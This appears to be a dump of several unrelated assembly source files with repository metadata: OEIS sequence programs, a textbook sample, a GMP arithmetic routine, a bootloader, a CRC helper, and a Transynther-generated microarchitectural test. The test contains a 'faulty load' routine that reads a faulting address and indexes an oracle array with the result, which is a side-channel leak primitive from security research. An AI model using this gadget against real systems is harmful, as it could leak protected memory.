] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A037613: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 1,3,2.
; Submitted by Jamie Morken(s4)
; 1,9,56,337,2025,12152,72913,437481,2624888,15749329,94495977,566975864,3401855185,20411131113,122466786680,734800720081,4408804320489,26452825922936,158716955537617,952301733225705,5713810399354232
seq $0,33133 ; Base-6 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0.
add $2,$0
div $2,3
add $2,$0
mov $0,$2
| 49.6 | 199 | 0.784274 |
c143607b6e9065290fd7a89d9ced198e427fa433 | 247 | asm | Assembly | Chapter_3/Program 3.1/x86:64/Program_3.1_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 272 | 2016-12-28T02:24:21.000Z | 2022-03-30T21:05:37.000Z | Chapter_3/Program 3.1/x86:64/Program_3.1_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 1 | 2018-04-17T19:47:52.000Z | 2018-04-17T19:47:52.000Z | Chapter_3/Program 3.1/x86:64/Program_3.1_NASM.asm | chen150182055/Assembly | e5e76bea438a3752b59775098205a77aa7087110 | [
"MIT"
] | 62 | 2017-02-02T14:39:37.000Z | 2022-01-04T09:02:07.000Z | ; Program 3.1
; Sample Assembly Program - NASM (64-bit)
; Copyright (c) 2019 Hall & Slonka
SECTION .data
sum: DD 0
SECTION .text
global _main
_main:
mov eax, 25
mov ebx, 50
add eax, ebx
mov DWORD [rel sum], eax
mov rax, 60
xor rdi, rdi
syscall
| 13 | 41 | 0.700405 |
5e0f78fc8f58a2332e47d23af93ef208e931cfc4 | 2,111 | asm | Assembly | release/src-rt-6.x.4708/router/gmp/mpn/arm/mode1o.asm | afeng11/tomato-arm | 1ca18a88480b34fd495e683d849f46c2d47bb572 | [
"FSFAP"
] | 5 | 2015-01-12T13:53:14.000Z | 2020-01-16T02:48:36.000Z | release/src-rt-6.x.4708/router/gmp/mpn/arm/mode1o.asm | afeng11/tomato-arm | 1ca18a88480b34fd495e683d849f46c2d47bb572 | [
"FSFAP"
] | 1 | 2018-08-21T03:43:09.000Z | 2018-08-21T03:43:09.000Z | release/src-rt-6.x.4708/router/gmp/mpn/arm/mode1o.asm | afeng11/tomato-arm | 1ca18a88480b34fd495e683d849f46c2d47bb572 | [
"FSFAP"
] | 5 | 2017-10-11T08:09:11.000Z | 2020-10-14T04:10:13.000Z | dnl ARM mpn_modexact_1c_odd
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2012 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C StrongARM ?
C XScale ?
C Cortex-A7 ?
C Cortex-A8 ?
C Cortex-A9 10
C Cortex-A15 9
C Architecture requirements:
C v5 -
C v5t -
C v5te -
C v6 -
C v6t2 -
C v7a -
define(`up', `r0')
define(`n', `r1')
define(`d', `r2')
define(`cy', `r3')
.protected binvert_limb_table
ASM_START()
PROLOGUE(mpn_modexact_1c_odd)
stmfd sp!, {r4, r5}
LEA( r4, binvert_limb_table)
ldr r5, [up], #4 C up[0]
and r12, d, #254
ldrb r4, [r4, r12, lsr #1]
mul r12, r4, r4
mul r12, d, r12
rsb r12, r12, r4, asl #1
mul r4, r12, r12
mul r4, d, r4
rsb r4, r4, r12, asl #1 C r4 = inverse
subs n, n, #1 C set carry as side-effect
beq L(end)
L(top): sbcs cy, r5, cy
ldr r5, [up], #4
sub n, n, #1
mul r12, r4, cy
tst n, n
umull r12, cy, d, r12
bne L(top)
L(end): sbcs cy, r5, cy
mul r12, r4, cy
umull r12, r0, d, r12
addcc r0, r0, #1
ldmfd sp!, {r4, r5}
bx r14
EPILOGUE()
| 22.698925 | 79 | 0.692563 |
9305b7c0683916f35fb7ee48257988a8fec32726 | 1,816 | asm | Assembly | boot/boot.asm | yds12/newcOS | ea646060a97c6b5190dfbfe9aa48855a8c5cf000 | [
"MIT"
] | null | null | null | boot/boot.asm | yds12/newcOS | ea646060a97c6b5190dfbfe9aa48855a8c5cf000 | [
"MIT"
] | null | null | null | boot/boot.asm | yds12/newcOS | ea646060a97c6b5190dfbfe9aa48855a8c5cf000 | [
"MIT"
] | null | null | null | bits 16 ; 16 bit instructions
org 0x7c00 ; assume program will be loaded here
; address where the kernel should be loaded in memory
; (this will go to the segment register, so the actual
; address is this times 16)
KERNEL_OFFSET equ 0x1000
; Address for the stack we will create before entering the kernel
STACK_ADDR equ 0x90000
; setup a temporary stack (for push, call, ret, etc.)
mov bp, 0x9000
mov sp, bp
; setup video mode
mov ah, 0x00
mov al, 0x03 ; 80x25 text
int 0x10 ; BIOS interrupt
; print welcome msg
mov si, msg_hello
call print
; unfortunately in nasm relative paths are w.r.t.
; the working directory (from where we called nasm)
%include "boot/disk.asm"
; Perform memory mapping
%include "boot/rm_mmap.asm"
call prepare32
jmp $ ; infinite loop
%include "boot/gdt.asm"
%include "boot/print.asm"
prepare32:
cli ; disable BIOS interrupts
lgdt [gdt_descriptor] ; load GDT
mov eax, cr0 ; enable protected mode
or al, 1
mov cr0, eax
jmp CODE_SEG:start32 ; far jump
; from here on, 32 bit instructions
bits 32
start32:
mov ax, DATA_SEG ; update segment registers
mov ds, ax
mov ss, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ebp, STACK_ADDR ; setup another stack
mov esp, ebp
; Since now we are in a flat memory mode,
; an address xxx:0x0000 becomes xxx*16
; (the real memory address is the value of the segment multiplied by
; 16 and added to the offset)
call KERNEL_OFFSET * 16 ; give control to Kernel
jmp $ ; loop if kernel returns
; padding
times (510 - ($ - $$)) db 0 ; $: current offset
; $$: address of the current section
; for whatever reason, nasm says (510 - $) is not a constant
dw 0xaa55 ; magic word
| 24.540541 | 90 | 0.662445 |
958581c3c4b1c1d1c085c9171b16149d8c20eb79 | 515 | asm | Assembly | programs/oeis/063/A063960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/063/A063960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/063/A063960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A063960: Sum of non-unitary prime divisors of n!: sum of those prime factors for which the exponent exceeds 1.
; 0,0,0,2,2,5,5,5,5,10,10,10,10,17,17,17,17,17,17,17,17,28,28,28,28,41,41,41,41,41,41,41,41,58,58,58,58,77,77,77,77,77,77,77,77,100,100,100,100,100,100,100,100,100,100,100,100,129,129,129,129,160,160,160,160,160,160,160,160,160,160,160,160,197,197,197,197,197,197,197,197,238,238,238,238,281,281,281,281,281,281,281,281,328,328,328,328,328,328,328
sub $0,1
div $0,2
seq $0,34387 ; Sum of primes <= n.
| 73.571429 | 347 | 0.706796 |
d3912ce0b736003b56f4ba3017a5466b7020565a | 275 | asm | Assembly | data/mapHeaders/seafoamislands4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | data/mapHeaders/seafoamislands4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 5 | 2019-04-03T19:53:11.000Z | 2022-03-11T22:49:34.000Z | data/mapHeaders/seafoamislands4.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | SeafoamIslands4_h:
db CAVERN ; tileset
db SEAFOAM_ISLANDS_4_HEIGHT, SEAFOAM_ISLANDS_4_WIDTH ; dimensions (y, x)
dw SeafoamIslands4Blocks, SeafoamIslands4TextPointers, SeafoamIslands4Script ; blocks, texts, scripts
db $00 ; connections
dw SeafoamIslands4Object ; objects
| 39.285714 | 102 | 0.825455 |
a2909739b8025d35d7c31ae1cc0a4207c7ab8051 | 35 | asm | Assembly | src/syscalls.asm | Iemnur/Mother2GbaTranslation | b8ca6df07ef69762fc5cc7453657b8e71178c78d | [
"MIT"
] | 149 | 2015-03-19T11:22:47.000Z | 2022-03-23T17:57:39.000Z | src/syscalls.asm | Iemnur/Mother2GbaTranslation | b8ca6df07ef69762fc5cc7453657b8e71178c78d | [
"MIT"
] | 77 | 2015-06-16T17:38:47.000Z | 2022-01-24T14:21:28.000Z | src/syscalls.asm | Iemnur/Mother2GbaTranslation | b8ca6df07ef69762fc5cc7453657b8e71178c78d | [
"MIT"
] | 29 | 2015-06-16T00:58:04.000Z | 2021-12-23T22:38:30.000Z | cpufastset:
swi 0xC
bx lr
| 8.75 | 11 | 0.571429 |
7aed5ed3b55c64d3c880644dab243f4006894d2d | 5,195 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1568.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1568.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1568.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r8
push %r9
push %rbx
push %rdx
lea addresses_WT_ht+0x9686, %rdx
clflush (%rdx)
nop
nop
nop
add %r8, %r8
mov $0x6162636465666768, %r9
movq %r9, (%rdx)
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_WC_ht+0x5786, %r13
nop
dec %r15
movb $0x61, (%r13)
nop
nop
nop
nop
add %r9, %r9
lea addresses_UC_ht+0x1a086, %r15
nop
nop
nop
nop
cmp $60208, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %r15
vmovaps %ymm5, (%r15)
nop
nop
nop
nop
sub $36561, %r14
lea addresses_D_ht+0x5286, %r15
nop
nop
nop
nop
and $3400, %r14
mov $0x6162636465666768, %r13
movq %r13, (%r15)
nop
nop
nop
add %rdx, %rdx
pop %rdx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_WC+0x8b36, %rbp
nop
nop
nop
nop
nop
and $56525, %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm1
vmovups %ymm1, (%rbp)
nop
and %r13, %r13
// Faulty Load
lea addresses_RW+0x13686, %r13
nop
nop
dec %rdi
mov (%r13), %bx
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 41.230159 | 2,999 | 0.660443 |
d75b1e59f52738c2cfce424d8d7a67127ca08559 | 1,332 | asm | Assembly | programs/oeis/194/A194229.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/194/A194229.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/194/A194229.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A194229: Partial sums of A057357.
; 0,1,2,4,6,9,12,15,19,23,28,33,39,45,51,58,65,73,81,90,99,108,118,128,139,150,162,174,186,199,212,226,240,255,270,285,301,317,334,351,369,387,405,424,443,463,483,504,525,546,568,590,613,636,660,684,708,733,758,784,810,837,864,891,919,947,976,1005,1035,1065,1095,1126,1157,1189,1221,1254,1287,1320,1354,1388,1423,1458,1494,1530,1566,1603,1640,1678,1716,1755,1794,1833,1873,1913,1954,1995,2037,2079,2121,2164,2207,2251,2295,2340,2385,2430,2476,2522,2569,2616,2664,2712,2760,2809,2858,2908,2958,3009,3060,3111,3163,3215,3268,3321,3375,3429,3483,3538,3593,3649,3705,3762,3819,3876,3934,3992,4051,4110,4170,4230,4290,4351,4412,4474,4536,4599,4662,4725,4789,4853,4918,4983,5049,5115,5181,5248,5315,5383,5451,5520,5589,5658,5728,5798,5869,5940,6012,6084,6156,6229,6302,6376,6450,6525,6600,6675,6751,6827,6904,6981,7059,7137,7215,7294,7373,7453,7533,7614,7695,7776,7858,7940,8023,8106,8190,8274,8358,8443,8528,8614,8700,8787,8874,8961,9049,9137,9226,9315,9405,9495,9585,9676,9767,9859,9951,10044,10137,10230,10324,10418,10513,10608,10704,10800,10896,10993,11090,11188,11286,11385,11484,11583,11683,11783,11884,11985,12087,12189,12291,12394,12497,12601,12705,12810,12915,13020,13126,13232,13339,13446
mov $2,$0
lpb $2,1
add $3,5
lpb $3,1
add $1,$2
trn $2,2
trn $3,2
lpe
trn $2,1
lpe
| 95.142857 | 1,192 | 0.761261 |
1ff02b253589c38b1b4d7d985af0a7aff75ad6af | 81 | asm | Assembly | 1/swap.asm | sunloving/os-course | 9ceee14cc486f37ac137e482e3853b82be4b742f | [
"MIT"
] | null | null | null | 1/swap.asm | sunloving/os-course | 9ceee14cc486f37ac137e482e3853b82be4b742f | [
"MIT"
] | null | null | null | 1/swap.asm | sunloving/os-course | 9ceee14cc486f37ac137e482e3853b82be4b742f | [
"MIT"
] | null | null | null | swap:
pushq (%RSI)
pushq (%RDI)
popq (%RSI)
popq (%RDI)
retq
| 11.571429 | 16 | 0.469136 |
3be7a5684672e7b1ca08d1da7dde6c7b86dec53a | 333 | asm | Assembly | programs/oeis/105/A105384.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/105/A105384.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/105/A105384.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A105384: Expansion of x/(1 + x + x^2 + x^3 + x^4).
; 0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0,0,1,-1,0,0
sub $0,1
sub $1,$0
sub $1,5
mod $1,5
pow $1,$1
mov $0,$1
| 33.3 | 221 | 0.471471 |
2248c7a4e4ea652fb93efffd03bd18e7f33f3f98 | 338 | asm | Assembly | programs/oeis/118/A118751.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/118/A118751.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/118/A118751.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A118751: Smallest prime >= 3*n.
; 2,5,7,11,13,17,19,23,29,29,31,37,37,41,43,47,53,53,59,59,61,67,67,71,73,79,79,83,89,89,97,97,97,101,103,107,109,113,127,127,127,127,127,131,137,137,139,149,149,149,151,157,157,163,163,167,173,173,179,179,181
mul $0,3
cal $0,151800 ; Least prime > n (version 2 of the "next prime" function).
mov $1,$0
| 48.285714 | 209 | 0.680473 |
4b793128df9bf8fe20ba969efcfcb9423351f745 | 1,673 | asm | Assembly | programs/oeis/028/A028724.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/028/A028724.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/028/A028724.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A028724: a(n) = (1/2)*floor(n/2)*floor((n-1)/2)*floor((n-2)/2).
; 0,0,0,0,1,2,6,9,18,24,40,50,75,90,126,147,196,224,288,324,405,450,550,605,726,792,936,1014,1183,1274,1470,1575,1800,1920,2176,2312,2601,2754,3078,3249,3610,3800,4200,4410,4851,5082,5566,5819,6348,6624,7200,7500,8125,8450,9126,9477,10206,10584,11368,11774,12615,13050,13950,14415,15376,15872,16896,17424,18513,19074,20230,20825,22050,22680,23976,24642,26011,26714,28158,28899,30420,31200,32800,33620,35301,36162,37926,38829,40678,41624,43560,44550,46575,47610,49726,50807,53016,54144,56448,57624,60025,61250,63750,65025,67626,68952,71656,73034,75843,77274,80190,81675,84700,86240,89376,90972,94221,95874,99238,100949,104430,106200,109800,111630,115351,117242,121086,123039,127008,129024,133120,135200,139425,141570,145926,148137,152626,154904,159528,161874,166635,169050,173950,176435,181476,184032,189216,191844,197173,199874,205350,208125,213750,216600,222376,225302,231231,234234,240318,243399,249640,252800,259200,262440,269001,272322,279046,282449,289338,292824,299880,303450,310675,314330,321726,325467,333036,336864,344608,348524,356445,360450,368550,372645,380926,385112,393576,397854,406503,410874,419710,424175,433200,437760,446976,451632,461041,465794,475398,480249,490050,495000,505000,510050,520251,525402,535806,541059,551668,557024,567840,573300,584325,589890,601126,606797,618246,624024,635688,641574,653455,659450,671550,677655,689976,696192,708736,715064,727833,734274,747270,753825,767050,773720,787176,793962,807651,814554,828478,835499,849660,856800,871200,878460,893101,900482,915366,922869,937998,945624
sub $0,2
lpb $0
add $2,$0
sub $0,2
add $3,1
sub $2,$3
add $1,$2
lpe
| 139.416667 | 1,527 | 0.80514 |
2648e72fd887e1a344e2896af4b2b44f0315b3ac | 6,921 | asm | Assembly | src/igzip/c_code/crc_utils.asm | robinmoussu/fastzip | 85f71b7862af0940cadbafb44f80856581ecb023 | [
"RSA-MD"
] | 2 | 2019-02-08T16:53:53.000Z | 2021-03-21T05:09:13.000Z | src/igzip/c_code/crc_utils.asm | robinmoussu/fastzip | 85f71b7862af0940cadbafb44f80856581ecb023 | [
"RSA-MD"
] | null | null | null | src/igzip/c_code/crc_utils.asm | robinmoussu/fastzip | 85f71b7862af0940cadbafb44f80856581ecb023 | [
"RSA-MD"
] | 3 | 2017-05-08T04:44:56.000Z | 2018-12-01T16:12:44.000Z | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; The MIT License
;
; Copyright (c) 2014 Intel Corporation
;
; Permission is hereby granted, free of charge, to any person
; obtaining a copy of this software and associated documentation
; files (the "Software"), to deal in the Software without
; restriction, including without limitation the rights to use,
; copy, modify, merge, publish, distribute, sublicense, and/or
; sell copies of the Software, and to permit persons to whom the
; Software is furnished to do so, subject to the following
; conditions:
;
; The above copyright notice and this permission notice shall be
; included in all copies or substantial portions of the
; Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
; KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
; WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
; PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
; COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
; OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
; SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%include "options.asm"
%if ((MAJOR_VERSION == IGZIP0C) || (MAJOR_VERSION == IGZIP1C))
; Functional versions of CRC macros
%define NO_CRC_DATA_EXTERNS
%include "crc_pcl.asm"
%define crc_0 xmm0 ; in/out: crc state
%define crc_1 xmm1 ; in/out: crc state
%define crc_2 xmm2 ; in/out: crc state
%define crc_3 xmm3 ; in/out: crc state
%define crc_fold xmm4 ; in: (loaded from fold_4)
%define crc_tmp0 xmm5 ; tmp
%define crc_tmp1 xmm6 ; tmp
%define crc_tmp2 xmm7 ; tmp
%define crc_tmp3 xmm8 ; tmp
%define crc_tmp4 xmm9 ; tmp
%define tmp4 rax
;; copy x bytes (rounded up to 16 bytes) from src to dst with crc
;; src & dst are unaligned
;; void copy_in_crc(UINT8 *dst, UINT8 *src, UINT32 size, UINT32 *crc)
;; arg 1: rcx: pointer to dst
;; arg 2: rdx: pointer to src
;; arg 3: r8: size (in bytes)
;; arg 4: r9: pointer to CRC
;global copy_in_crc
;copy_in_crc:
;%ifndef WIN_CC
; mov r9, rcx
; mov r8, rdx
; mov rdx, rsi
; mov rcx, rdi
;%endif
;
; ; Save xmm registers that need to be preserved.
; sub rsp, 8 + 4*16
; movdqa [rsp+0*16], xmm6
; movdqa [rsp+1*16], xmm7
; movdqa [rsp+2*16], xmm8
; movdqa [rsp+3*16], xmm9
;
; movdqa crc_0, [r9 + 0*16]
; movdqa crc_1, [r9 + 1*16]
; movdqa crc_2, [r9 + 2*16]
; movdqa crc_3, [r9 + 3*16]
;
; movdqa crc_fold, [fold_4 wrt rip]
; COPY_IN_CRC rcx, rdx, r8, tmp4, crc_0, crc_1, crc_2, crc_3, \
; crc_fold, \
; crc_tmp0, crc_tmp1, crc_tmp2, crc_tmp3, crc_tmp4
;
; movdqa [r9 + 0*16], crc_0
; movdqa [r9 + 1*16], crc_1
; movdqa [r9 + 2*16], crc_2
; movdqa [r9 + 3*16], crc_3
;
; movdqa xmm9, [rsp+3*16]
; movdqa xmm8, [rsp+2*16]
; movdqa xmm7, [rsp+1*16]
; movdqa xmm6, [rsp+0*16]
; add rsp, 8 + 4*16
;ret
;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ; void init_crc(UINT32 *crc_ptr)
;; ; arg 1: rcx: pointer to (4 x 16bytes) of CRC
;; global init_crc
;; init_crc:
;; movdqa crc_0, [rcx+0*16]
;; movdqa crc_1, [rcx+1*16]
;; movdqa crc_2, [rcx+2*16]
;; movdqa crc_3, [rcx+3*16]
;; ret
; Convert 512-bit CRC data to real 32-bit value
; UINT32 crc_512to32(UINT32 *crc)
; arg 1: rcx: pointer to CRC
; returns: eax: 32 bit crc
global crc_512to32 :function hidden
crc_512to32:
%ifndef WIN_CC
mov rcx, rdi
%endif
movdqa crc_0, [rcx + 0*16]
movdqa crc_1, [rcx + 1*16]
movdqa crc_2, [rcx + 2*16]
movdqa crc_3, [rcx + 3*16]
movdqa crc_fold, [rk1 wrt rip] ;k1
